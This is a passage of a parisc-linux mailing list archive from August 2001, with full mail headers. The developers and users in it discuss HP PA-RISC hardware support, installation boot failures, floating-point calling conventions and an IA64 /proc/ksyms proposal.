Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 23:56:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from seal.surfnet.fi (mail.surfnet.fi [194.137.58.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9480B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 23:56:49 -0600 (MDT)
Original-Received: from IDOEKE3 (eke-breakwater.surfnet.fi [194.215.74.2])
	by seal.surfnet.fi (8.11.0/8.11.0) with ESMTP id f725umv14757
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Aug 2001 08:56:48 +0300
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on NOTESSRV01/IDO(Release 5.0.5 |September 22, 2000) at
 02.08.2001 08:49:54
Xref: news.gmane.org gmane.linux.ports.parisc:11777

>> Any hope of getting the Lotus Domino webserver up and running under
>> PARISC-LINUX on a R947X? The server is going to be replaced soon, and we
>> have played with the thought of using it as a local test environment for
>> deployment of Domino web applications.
>According to the Domino website
>(http://www.lotus.com/home.nsf/welcome/domino), they only support
>Linux on x86.

I should have thought of that. I have not found any indication that anyone
has gotten Linux to work on a R947X at all, so I also meant to ask if at
least this is possible. We can run the test environment on any NT server,
but it would be nice to continue using such a reliable machine as the old
HP for something useful. Paying for a HPUX lisence is not exactly in our
interest, though..

>They do have a version for HPUX so if we were to get
>the HPUX emulation working again, there's a possibility it might work.
>Nobody has much interest in the HPUX emulation right now, so I wouldn't
>count on it happening any time soon.

So this idea of ours is somewhat ... optimistic. I'm actually just working
here for the summer and was asked to find out if this was at all possible.
We have a 922LX as well, nut unfortunately the company has decided to try
and sell this one. I'd buy it myself if it weren't for its size and weight.

>On the other hand if you happen to be a big corporate customer and could
>persuade them to port Domino to a different platform... :-)

Not THAT big. :=)

Robert





From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libqthreads and hppa-linux
Date: Thu, 2 Aug 2001 16:18:17 +0930
Lines: 25
Approved: news@gmane.org
Message-ID: <20010802161817.A26828@bubble.sa.bigpond.net.au>
References: <20010802044401.89CE11872C@security.hp.com> <20010802044946.6B4FC1872C@security.hp.com> <20010802151415.O5233@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620352 23269 80.91.229.3 (22 Nov 2014 01:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:12 +0000 (UTC)
To: LaMont Jones <lamont@hp.com>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 00:48:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin8.bigpond.com (juicer39.bigpond.com [139.134.6.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E1AF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 00:48:49 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.69]) by
          mailin8.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GHFHUJ00.JWX for <parisc-linux@lists.parisc-linux.org>; Thu,
          2 Aug 2001 16:54:19 +1000 
Original-Received: from 144.136.192.58 ([144.136.192.58]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V2.9g 8311/14282744); 02 Aug 2001 16:54:15
Original-Received: (qmail 26853 invoked by uid 179); 2 Aug 2001 06:48:17 -0000
Mail-Followup-To: LaMont Jones <lamont@hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010802151415.O5233@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Thu, Aug 02, 2001 at 03:14:15PM +0930
Xref: news.gmane.org gmane.linux.ports.parisc:11778

On Thu, Aug 02, 2001 at 03:14:15PM +0930, Alan Modra wrote:
> Hmm, I wonder if you've found a gcc bug?

Curiousity got the better of me, and I dug up copy of the ABI.  Looks
like gcc is doing the right thing.

"Floating-Point (32 Bits, single-precision): One word, callee cannot assume
a valid floating-point number.

Floating-Point (64 Bits, double-precision): Two words, double word aligned
(high order word in odd arg word).  This may create a void in the argument
list.  64-bit floating-point value parameters mapped to the first and second
double-words of the argument list should be passed in farg1 and farg3,
respectively. farg0 and farg2 are never used for 64-bit floating-point
parameters.  Callee cannot assume a valid floating-point number."

Makes a weird sort of sense when you realise that the register args have
a mapping to stack slots, and there are only 4x32 bits of stack space,
or 2 doubles.

Alan





From - Thu Nov 08 21:18:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "S Looman" <steve__l__@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/80 not booting (kernel crashes)
Date: Thu, 02 Aug 2001 11:03:32 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <F71V8zDv60gxapzhad20000df92@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620352 23270 80.91.229.3 (22 Nov 2014 01:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 03:03:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f71.law10.hotmail.com [64.4.15.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11197482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 03:03:34 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 2 Aug 2001 02:03:32 -0700
Original-Received: from 212.123.143.41 by lw10fd.law10.hotmail.msn.com with HTTP;	Thu, 02 Aug 2001 09:03:32 GMT
X-Originating-IP: [212.123.143.41]
X-OriginalArrivalTime: 02 Aug 2001 09:03:32.0688 (UTC) FILETIME=[0147C500:01C11B32]
Xref: news.gmane.org gmane.linux.ports.parisc:11779

Hi,

Just got a 715/80 box from a friend and started playing with it, but HP-UX 
sucks and wanted to install linux on it.
I downloaded the iso-image yesterday and booted it.

The cd boots, starts loading the kernel 'n stuff. But then it panics.

It has the same dump as this email: 
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013193.html

I guess using another kernel should fix it, but I can't build any kernel...

Can anybody give me a kernel (or suggestions)?

Thx,

Steven

PS.
Sorry for using hotmail

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp





From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Eisfeld <me@hedd.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with Installing of 0.9.2 on HP 715/100
Date: Thu, 02 Aug 2001 13:54:10 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <3B693F62.E1E701F7@hedd.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620352 23272 80.91.229.3 (22 Nov 2014 01:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 05:41:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailproxy.de.uu.net (mailproxy.de.uu.net [192.76.144.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54AD0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 05:41:02 -0600 (MDT)
Original-Received: from hedd.de (1cust-27.au1.dd.de.alter.net [149.228.0.27] (may be forged))
	by mailproxy.de.uu.net (5.5.5/5.5.5) with ESMTP id NAA20156
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Aug 2001 13:41:00 +0200 (MET DST)
Original-Received: from hedd.de (nt10 [192.168.0.110])
	by hedd.de (8.9.3/8.9.3) with ESMTP id MAA04741
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Aug 2001 12:25:01 +0200
X-Mailer: Mozilla 4.73 [de]C-CCK-MCD QXW0324n  (WinNT; U)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:11780

Hello everyone,
I have a big proplem of installing PA-RISC Linux 0.9.2 on a HP9000 Model
715/100.

I have downloaded the cd-image palinux-0.9.2.iso.gz from
parisc-liux.org, i have decompressed it with gzip on a linux-machine and
burned it with Nero 5.5 on a NT-machine.

When i poweron the hp, i press ESC until i'm in the boot-admin-menu.
Therefrom i boot with
'boot scsi.2.0' (the scsi-id of the cd-rom is 2)
from the cd.

Then a window comes which says
"Attempting to boot."
Then the cd boots. There are lots of different messages.
One warning comes:
"warning: Kernelname doesn't end with 32 or 64"

After that, other messages came on my screen.
The last message is:
"Set default PSW W bit to 0".

Then the the maschine reboots.

I have tried to boot the cd on to different hp9000 model 715/100. The
result is everytime the same.
Bye,
Martin Eisfeld




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: [Linux-ia64] [RFC] /proc/ksyms change for IA64 (fwd)
Date: Thu, 2 Aug 2001 09:11:54 -0600
Lines: 98
Approved: news@gmane.org
Message-ID: <01080209115401.05959@eeyore>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620352 23273 80.91.229.3 (22 Nov 2014 01:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 09:10:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44F6A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 09:10:49 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id EFCCCD0B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 11:10:47 -0400 (EDT)
Original-Received: from eeyore (helgaas@eeyore.fc.hp.com [15.1.54.199])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with SMTP id JAA10983
	for <parisc-linux@lists.parisc-linux.org>; Thu, 2 Aug 2001 09:10:46 -0600 (MDT)
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11781

Is this an issue for parisc as well?


----------  Forwarded Message  ----------
Subject: [Linux-ia64] [RFC] /proc/ksyms change for IA64 (fwd)
Date: Thu, 02 Aug 2001 13:38:40 +1000
From: Keith Owens <kaos@ocs.com.au>
To: linux-ia64@linuxia64.org


FYI.  Followups to linux-kernel@vger.kernel.org please, the initial
problem is IA64 specific but the fix is a generic one for all
architectures that require special processing, it needs to be discussed
on l-k.  I would have used Bcc: to ia64 but this list rejects Bcc mail.

------- Forwarded Message

The IA64 use of descriptors for function pointers has bitten ksymoops.
For those not familiar with IA64, &func points to a descriptor
containing { &code, &data_context }.  System.map contains the address
of the code, /proc/ksyms contains the address of the descriptor.
insmod needs the descriptor address, ksymoops and debuggers need the
code address, /proc/ksyms needs to contain both addresses, with one of
them prefixed by a special character.

EXPORT_SYMBOL() cannot distinguish between &function and &data.
Telling everybody that they must type EXPORT_SYMBOL_FUNCTION or
EXPORT_SYMBOL_DATA is not an option, the second symbol has to be
automatically added after linking vmlinux and modules.  I want to fix
this problem in user space, with no changes to to kernel code.  My
proposal for kernel 2.5 is :-

* In System.map and /proc/ksyms, label foo addresses the code, not the
  descriptor.  Label &foo addresses the function descriptor.

* foo has symbol versions, &foo does not.

* In kernel build, all objects that export symbols are post processed
  immediately after they are compiled.  On most architectures the post
  process is a no-op.  On IA64 it runs a program from modutils that
  identifies exported function pointers and modifies the ksymtab and
  kstrtab, see below.

* At run time, insmod does its normal address fixup processing first,
  including checking for symbol versions.  If the existing code
  succeeds without unresolved symbols, insmod modifies the address
  fixup so a reference to foo is resolved to &foo, iff both foo and
  &foo are in /proc/ksyms.

This has the benefit that all the changes are in modutils plus a small
change to the kernel build, no other user space tools are affected.
Most user space programs expect foo to address the code, not the
descriptor, AFAIK it is only insmod that needs the descriptor.  This
change will also affect any code that tries to front end functions from
modules but IMNSHO code should not be doing that.  If this breaks
binary only modules - tough.

One problem that always has to be addressed with modutils is version
skew between user space and the kernel.  With this approach, if you
build a new kernel with old modutils then the post processing program
will not be available so ksyms has the old format and the old insmod
behaviour applies, ksymoops will get errors but the kernel will still
run.  With a new modutils but an old kernel you get the old behaviour.
The only way you can get problems with version skew is to compile a
kernel on one machine with new modutils and install on another machine
with old modutils, modules will oops.  I don't see this as a problem,
the IA64 population is fairly small, in any case gcc cross compile for
IA64 has problems right now.

The new modutils supplied program (/usr/bin/modules_post) will look
through the __ksymtab section for an object.  For each exported symbol,
look at the data it references.  If that data contains two relocatable
addresses, one pointing to a text symbol, the other to a data symbol
and the text symbol has the same name as the exported symbol then this
is a descriptor.  Change the exported symbol name to &foo and add an
exported symbol foo that points to the code.

Note: This is modutils 2.5 stuff.  modules_post needs to use BFD which
      current modutils does not use, this adds a new requirement when
      compiling modutils.  Using BFD is the only way I can handle all
      the relocation types, especially in cross compile mode.  It may
      or may not get backported to modutils 2.4, probably not.
      ksymoops on IA64 2.4 will just have to live with lots of
      warnings.


------- End of Forwarded Message


_______________________________________________
Linux-IA64 mailing list
Linux-IA64@linuxia64.org
http://lists.linuxia64.org/lists/listinfo/linux-ia64

-------------------------------------------------------




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on R947X?
Date: Thu, 02 Aug 2001 10:25:08 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <200108021625.KAA20850@puffin.external.hp.com>
References: <OF037B89B3.C54112C3-ONC2256A9C.001F38E3@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620353 23279 80.91.229.3 (22 Nov 2014 01:39:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: robert.holmberg@idobath.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 10:26:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8539A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 10:26:36 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA20850;
	Thu, 2 Aug 2001 10:25:08 -0600
In-Reply-To: Message from robert.holmberg@idobath.com 
   of "Thu, 02 Aug 2001 08:49:53 +0300." <OF037B89B3.C54112C3-ONC2256A9C.001F38E3@LocalDomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:11782

robert.holmberg@idobath.com wrote:
> I have not found any indication that anyone
> has gotten Linux to work on a R947X at all,
....

I've never heard of "R947X".
Do you mean HP 9000 R-470?
What does HPUX "model" or "uname -a" command say?
Is this machine already registered in the HW database?

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Linux on R947X?
Date: Thu, 2 Aug 2001 12:50:08 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <B9957F974955D411829400D0B74FF27A04BF7875@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620353 23282 80.91.229.3 (22 Nov 2014 01:39:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 'Grant Grundler' <grundler@puffin.external.hp.com>,
	robert.holmberg@idobath.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 10:50:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2E90482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 10:50:11 -0600 (MDT)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 0CA8A1103; Thu,  2 Aug 2001 12:50:11 -0400 (EDT)
Original-Received: from xatlbh4.atl.hp.com (xatlbh4.atl.hp.com [15.45.89.189])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP
	id 6F3CF1F50C; Thu,  2 Aug 2001 12:50:09 -0400 (EDT)
Original-Received: by xatlbh4.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <P5D2QAHK>; Thu, 2 Aug 2001 12:50:09 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11783

I believe we are talking about a 947RX which is the MPe equivalent of the
G30.

This presents two problems.  The hardware is identical to the G30 but
everything that I have read in the PA-Linux project is that support for
these machines will be a long time coming, if ever.  The second problem is
that the firmware is different for MPe than HP-UX.  Conversion from a 947RX
to a G30 might be available but it wouldn't matter, one could probably pick
up a used G30 or newer for less $$ than the conversion would cost.

Kevin

> -----Original Message-----
> From: Grant Grundler [mailto:grundler@puffin.external.hp.com]
> Sent: Thursday, August 02, 2001 9:25 AM
> To: robert.holmberg@idobath.com
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] Linux on R947X? 
> 
> 
> robert.holmberg@idobath.com wrote:
> > I have not found any indication that anyone
> > has gotten Linux to work on a R947X at all,
> ....
> 
> I've never heard of "R947X".
> Do you mean HP 9000 R-470?
> What does HPUX "model" or "uname -a" command say?
> Is this machine already registered in the HW database?
> 
> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libqthreads and hppa-linux
Date: Thu, 2 Aug 2001 19:42:34 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20010802194234.A20250@parcelfarce.linux.theplanet.co.uk>
References: <20010802040435.818241872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620353 23284 80.91.229.3 (22 Nov 2014 01:39:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 12:42:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07343482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 12:42:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15SNQY-0005kB-00; Thu, 02 Aug 2001 19:42:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010802040435.818241872C@security.hp.com>; from lamont@hp.com on Wed, Aug 01, 2001 at 10:04:34PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11784

On Wed, Aug 01, 2001 at 10:04:34PM -0600, LaMont Jones wrote:
> I started to play with getting the hppa assembly code in guile-core to work
> on pa-linux, but ran into challenges with %farg[0-3], which aren't defined
> by the assembler...

I already discussed this in detail with the maintainer; details of the
discussion can be found in the BTS.  I'm disappointed you decided to
waste your time on this without reading that discussion or talking to me.

> I'm about to upload a source NMU of guile-core, which has qt/md/hppa*-linux.?
> in it.  If someone wanted to take that the rest of the way, I'd be happy to
> upload it...

No, don't do this, it's completely unnecessary.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on R947X?
Date: Thu, 2 Aug 2001 12:11:20 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200108021911.MAA32073@opus.allegro.com>
References: <B9957F974955D411829400D0B74FF27A04BF7875@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620354 23289 80.91.229.3 (22 Nov 2014 01:39:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:14 +0000 (UTC)
Cc: grundler@puffin.external.hp.com ('Grant Grundler'),
	robert.holmberg@idobath.com, parisc-linux@lists.parisc-linux.org
To: kevin_carson@hp.com ("CARSON,KEVIN (HP-Canada,ex1)")
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 13:11:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDA80482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 13:11:26 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id MAA32073;
	Thu, 2 Aug 2001 12:11:21 -0700
In-Reply-To: <B9957F974955D411829400D0B74FF27A04BF7875@xtor01.canada.hp.com> from "CARSON,KEVIN (HP-Canada,ex1)" at Aug 02, 2001 12:50:08 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11785

Re:

> I believe we are talking about a 947RX which is the MPe equivalent of the
> G30.

Yes.
 
> these machines will be a long time coming, if ever.  The second problem is
> that the firmware is different for MPe than HP-UX.  Conversion from a 947RX

AFAIK, the firmware should be 100% identical.  The only diference I'm aware of
is the model string and the OS-license info in stable storage.

And, of course, you're giving up a lot more turning an HP 3000 into a Linux
box than you are when turning an HP 9000 into a Linux box :)

Seriously, if he has a 947RX, he might be able to resell it.

As far as selling a 922?   It's a very old HP 3000, and has little or no 
market value :(
(By "little or no", I mean: you'll be lucky to sell it for $50.)

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: [Linux-ia64] [RFC] /proc/ksyms change for IA64 (fwd)
Date: Thu, 2 Aug 2001 14:24:05 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <01080214240502.05959@eeyore>
References: <200108021632.KAA20911@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620354 23292 80.91.229.3 (22 Nov 2014 01:39:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>,
	"'Richard Hirst'" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 14:24:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AE85482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 14:24:43 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by palrel1.hp.com (Postfix) with ESMTP
	id DE58F1621; Thu,  2 Aug 2001 13:24:41 -0700 (PDT)
Original-Received: from eeyore (helgaas@eeyore.fc.hp.com [15.1.54.199])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with SMTP id OAA12156;
	Thu, 2 Aug 2001 14:22:57 -0600 (MDT)
X-Mailer: KMail [version 1.2]
In-Reply-To: <200108021632.KAA20911@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11786

> > Is this an issue for parisc as well?
>
> I'm pretty sure parisc port has already addressed this since insmod
> works. Talk to Richard Hirst since he's done most of the kernel modules
> support.

insmod works fine on ia64 as well.  The problem they tripped over was that 
ksymoops running native on ia64 and using /proc/ksyms failed, while a 
running ksymoops on ia32 (cross debug mode) with ia64 debug info and 
System.map worked fine.

ismod uses the descriptor address (which ia64 currently puts in 
/proc/ksyms), while ksymoops requires the code address.




From - Thu Nov 08 21:18:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb+hplinux@zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Installing of 0.9.2 on HP 715/100
Date: Thu, 2 Aug 2001 23:03:15 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.30.0108022300520.38503-100000@noc.zabbadoz.net>
References: <3B693F62.E1E701F7@hedd.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620354 23294 80.91.229.3 (22 Nov 2014 01:39:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:14 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Martin Eisfeld <me@hedd.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  2 15:03:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zabbadoz.net (mail.zabbadoz.net [195.2.176.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14F8A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  2 Aug 2001 15:03:19 -0600 (MDT)
Original-Received: from localhost (bz@localhost)
